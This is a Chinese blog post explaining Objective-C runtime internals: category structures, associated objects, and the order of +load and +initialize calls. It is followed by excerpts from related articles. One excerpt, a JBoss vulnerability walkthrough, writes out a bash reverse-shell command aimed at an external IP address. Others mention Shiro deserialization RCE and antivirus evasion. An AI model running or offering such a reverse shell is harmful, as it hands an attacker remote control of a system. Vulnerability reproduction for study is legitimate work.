iOS OC 底层原理之 category、load、initialize

文章目录

    • category
      • 底层结构
      • runtime 执行 category 底层原理
      • 添加成员变量
    • load
      • 调用形式
      • 系统调用形式的内部原理
      • 源码实现逻辑
    • initialize
      • 调用形式
      • 源码核心函数(由上到下依次调用)
      • 如果分类实现了 +initialize

category

底层结构

本质是结构体。
struct _category_t {const char *name;struct _class_t *cls;const struct _method_list_t *instance_methods;const struct _method_list_t *class_methods;const struct _protocol_list_t * protocols;const struct _prop_list_ *properties;
}

其中,cls 指针的结构为:

在这里插入图片描述

runtime 执行 category 底层原理

  • 方法名相同时,category并不会覆盖 class或者 meta-class 中相同名称的方法实现,
    消息机制寻找到第一个方法实现,则不继续向下寻找
  • 在运行时,通过runtime,动态将分类的方法合并到类对象,元类对象中:
    1. for (i = 0; i < used(); i ++)
      根据分类的方法、属性、协议占用内存大小,分别扩充类的:
      方法列表mlists、
      属性列表proplists、
      协议列表protolists
      每一种列表都是二维数组,每一个分类相关数据存储在大数组中的小数组
    2. 通过 memmove(整体移动并覆盖,内部会判断移动方向)移动类对象的方法、属性、协议到最后
    3. 通过 memcoy(单个移动并覆盖)将分类的方法、属性、协议到类中
  • 加载顺序
    类,优先于分类加载,源码采用递归方式,保证类加载的优先级
    分类之间、类与类之间,先编译的先加载,后编译先调用

添加成员变量

不能直接添加成员变量,但能通过runtime间接添加。property在category中只生成setter和getter方法声明。

  • 方案一:
    在+load方法中完成全局字典初始化,对属性进行存取,要维护key的唯一性,且有线程安全问题,内存问题(销毁后仍调用)
  • 方案二:runtime
    #import <objc/runtime.h>
    
    在setter方法中,调用函数:
    objc_setAssociatedObject(self, key , name, objc_ASSOCIATION_ASSIGN)
    
    在getter方法中,调用函数:
    return objc_getAssociatedObject(self, key)
    
    声明key:
    1. 全局 staitic const void *key = &key;
    2. 全局 staitic const char key = &key; // char 减小key内存占用
      • 一定要给key赋初值,保证key的唯一性
      • 这里是把全局变量key的地址值给了key
      • static 保证全局变量只可在文件内访问
      • 不使用static,在外界可使用extern 读写
    3. 直接把key替换为常量字符串(直接声明的字符串放在常量区,内存地址不变)
    4. 直接把key替换为@selector(key). 返回的结构体的指针不变

load

调用形式

  • 一个类的 load方法在启动时都会且仅被调用一次
  • 重写+load,系统调用 ——> 指针访问直接调用
  • [Class load],手动调用 ——> 消息机制

系统调用形式的内部原理

  • 按照编译顺序,谁在前面就先被编译
  • 先调用完所有类的load方法
  • 再调用category的load方法

源码实现逻辑

  1. 通过while循环,判断是否所有类的load方法都被调用
  2. 通过递归处理,先调用父类+load,再调用子类+load
  3. 分类通过for ++ 循环,取出load_method调用
  4. 通过do while循环,完成所有load方法的调用
    在这里插入图片描述

initialize

调用形式

消息机制调用
tips: objc_msgSend() ——> 该函数底层是使用汇编实现的

  • 调用时机
  • 类第一次接收到消息时调用,非启动时调用。
  • 子类的initialize调用之前,先主动调用父类的initialize,再调用子类的initialize。
  • initialize 方法是以懒加载的方式被调用的。

源码核心函数(由上到下依次调用)

  1. 实例方法:class_getInstanceMethod
  2. 静态方法:class_getClassMethod (内部调用class_getInstanceMethod)
  3. if (initialize && !cls->isInitialized) { 递归 _class_initialize(父类) }

如果分类实现了 +initialize

  • 覆盖类本身的+initialize调用
  • 只执行编译顺序最后那个分类的 + initialize

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1543495.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

AlmaLinux 安裝JDK8

在 AlmaLinux 上安装 JDK 8 可以通过包管理器 dnf 来完成。AlmaLinux 是基于 RHEL 的一个开源发行版&#xff0c;因此其包管理系统和 RHEL 类似。以下是详细的步骤来安装 OpenJDK 8 1. 更新系统包列表 sudo dnf update -y 2. 安装 OpenJDK 8 使用 dnf 安装 OpenJDK 8。你可…

召回的在线评估与离线评估

在现代信息检索、推荐系统等应用场景中&#xff0c;召回阶段扮演着至关重要的角色。召回系统负责从海量候选项中筛选出潜在相关的内容&#xff0c;因此其效果直接影响用户的满意度和系统的效率。为了确保召回系统的性能&#xff0c;我们需要对其进行评估&#xff0c;而评估方法…

C++中set和map的使用

1.关联式容器 序列式容器里存储的是元素本身&#xff0c;如vector、list、deque 关联式容器即&#xff0c;容器中存储<key&#xff0c;value>的键值对&#xff0c;树型结 构的关联式容器主要有四种&#xff1a;map、set、multimap、multiset。他们都使用平衡搜索树(即红…

医学数据分析实训 项目四 回归分析--预测帕金森病病情的严重程度

文章目录 项目四&#xff1a;回归分析实践目的实践平台实践内容 预测帕金森病病情的严重程度作业&#xff08;一&#xff09;数据读入及理解&#xff08;二&#xff09;数据准备&#xff08;三&#xff09;模型建立&#xff08;四&#xff09;模型预测&#xff08;五&#xff0…

Web端云剪辑解决方案,可实现移动端、PC、云平台无缝兼容

美摄科技作为业界领先的视频技术解决方案提供商&#xff0c;再次以科技创新为驱动&#xff0c;隆重推出其Web端云剪辑解决方案&#xff0c;彻底颠覆传统剪辑模式的界限&#xff0c;为视频创作者、影视制作人及广告从业者带来前所未有的高效与便捷。 【跨平台无缝协作&#xff…

消息队列:如何确保消息不会丢失?

引言 对业务系统来说&#xff0c;丢消息意味着数据丢失&#xff0c;这是无法接受的。 主流的消息队列产品都提供了非常完善的消息可靠性保证机制&#xff0c;完全可以做到在消息传递过程中&#xff0c;即使发生网络中断或者硬件故障&#xff0c;也能确保消息的可靠传递&#…

智能优化算法-多目标灰狼优化算法(MOGWO)(附源码)

目录 1.内容介绍 2.部分代码 3.实验结果 4.内容获取 1.内容介绍 多目标灰狼优化算法 (Multi-Objective Grey Wolf Optimizer, MOGWO) 是一种基于群体智能的元启发式优化算法&#xff0c;它扩展了经典的灰狼优化算法 (GWO)&#xff0c;专门用于解决多目标优化问题。MOGWO通过模…

IT监控管理工具 WGCLOUD - 使用公共告警消息推送接口

WGCLOUD的公共告警接口 用于外部业务系统调用的告警接口&#xff0c;需要升级到v3.4.5或以上版本 只要调用这个接口&#xff0c;就可以将消息同步推送到我们的告警平台&#xff0c;比如邮件&#xff0c;钉钉&#xff0c;企业微信等 此接口主要给有告警需求的第三方系统使用&…

软件功能测试需进行哪些测试?第三方软件测评机构有哪些测试方法?

在信息化社会迅速发展的今天&#xff0c;软件功能测试在软件开发生命周期中占据着不可或缺的地位。软件功能测试是评估软件系统是否符合预期功能和用户需求的过程。其重要性体现在提升软件质量、确保用户满意度以及降低维护成本等方面。 软件功能测试是对软件应用程序进行的一…

软件测试实验室如何利用GB/T25000标准建立测试技术体系

《系统与软件工程 系统与软件质量要求和评价&#xff08;SQuaRE&#xff09;》是国际标准化组织ISO/IEC为统一软件质量评判标准而指定的软件质量度量和评价的标准。该标准是开展中国合格评定国家认可委员会&#xff08;CNAS&#xff09;实验室认可软件测评实验室过程中需要参照…

开源模型应用落地-Qwen2.5-Coder模型小试-码无止境(一)

一、前言 代码专家模型是一种基于人工智能的先进技术&#xff0c;旨在自动分析和理解大量代码库&#xff0c;并从中学习常见的编码模式和最佳实践。这种模型通过深度学习和自然语言处理&#xff0c;能够提供准确而高效的代码建议&#xff0c;帮助开发人员在编写代码时有效地避免…

[ComfyUI]Flux:太美啦!绮梦流光-水湄凝香,写实与虚拟混合,极致细节和质感

大家好我是安琪&#xff01;&#xff01;&#xff01; 在数字艺术和创意领域&#xff0c;[ComfyUI]Flux已经成为艺术家和设计师们手中的利器。今天&#xff0c;我们激动地宣布&#xff0c;[ComfyUI]Flux带来了一款令人瞩目的创新作品——绮梦流光-水湄凝香。这款作品将写实与虚…

怎么把kgm转换成mp3?5个kgm转mp3的方法,亲测管用!

很多小伙伴不难发现kgm格式只能在固定的平台或设备上播放&#xff0c;如果想要打破这一限制&#xff0c;我们可以将kgm格式转换为兼容性较强的mp3格式。 下面&#xff0c;就来给大家分享5个好用的kgm转mp3方法&#xff0c;操作简单&#xff0c;小白也能分分钟学会哦~ kgm转mp3…

全民皆信奥?编程教育不应成为‘金牌梦’的牺牲品

近年来&#xff0c;信息学奥赛&#xff08;信奥&#xff09;成为众多家长为孩子规划的学习目标之一&#xff0c;期望通过编程学习在未来脱颖而出&#xff0c;甚至进入清华、北大等顶尖高校。然而&#xff0c;是否每个孩子都适合走这条信息学奥赛的道路&#xff1f;全民皆信奥是…

多机器学习模型学习

特征处理 import os import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.model_selection import StratifiedShuffleSplit from sklearn.impute import SimpleImputer from sklearn.pipeline import FeatureUnion fr…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

MySQL之基本查询(二)(update || delete || 聚合函数 || group by)

目录 一、表的更新update 二、表的删除delete 三、聚合函数 四、group by 分组查询 一、表的更新update 语法&#xff1a; UPDATE table_name SET column expr [, column expr ...] [WHERE ...] [ORDER BY ...] [LIMIT ...] 使用实列&#xff1a; ~ 将孙悟空同学的数学…

Shiro rememberMe反序列化漏洞(Shiro-550) 靶场攻略

漏洞原理 Apache Shiro框架提供了记住密码的功能&#xff08;RememberMe&#xff09;&#xff0c;⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值&#xff0c;先base64解码然后AES解密再反 序列化&#xff0c;就导致了反序列化RCE漏洞。 那么&a…

杀软对抗 ---> Perfect Syscall??

好久没更了&#xff0c;今天想起来更新了&#x1f60b;&#x1f60b;&#x1f60b;&#x1f60b; 目录 1.AV && EDR 2.Perfect Syscall&#xff1f;&#xff1f; 3.Truly Perfect ??? 在开始之前先来展示一下这次的免杀效果 1.AV && EDR 360 天擎EDR …

Redis事务总结

1.事务介绍 Redis 事务是一个用于将多个命令打包在一起执行的功能&#xff0c;它可以确保这些命令按照顺序执行&#xff0c;并且具有原子性。这意味着事务中的命令要么全部执行&#xff0c;要么全部不执行&#xff0c;这有助于保持数据的一致性。 Redis 事务本质&#xff1a;…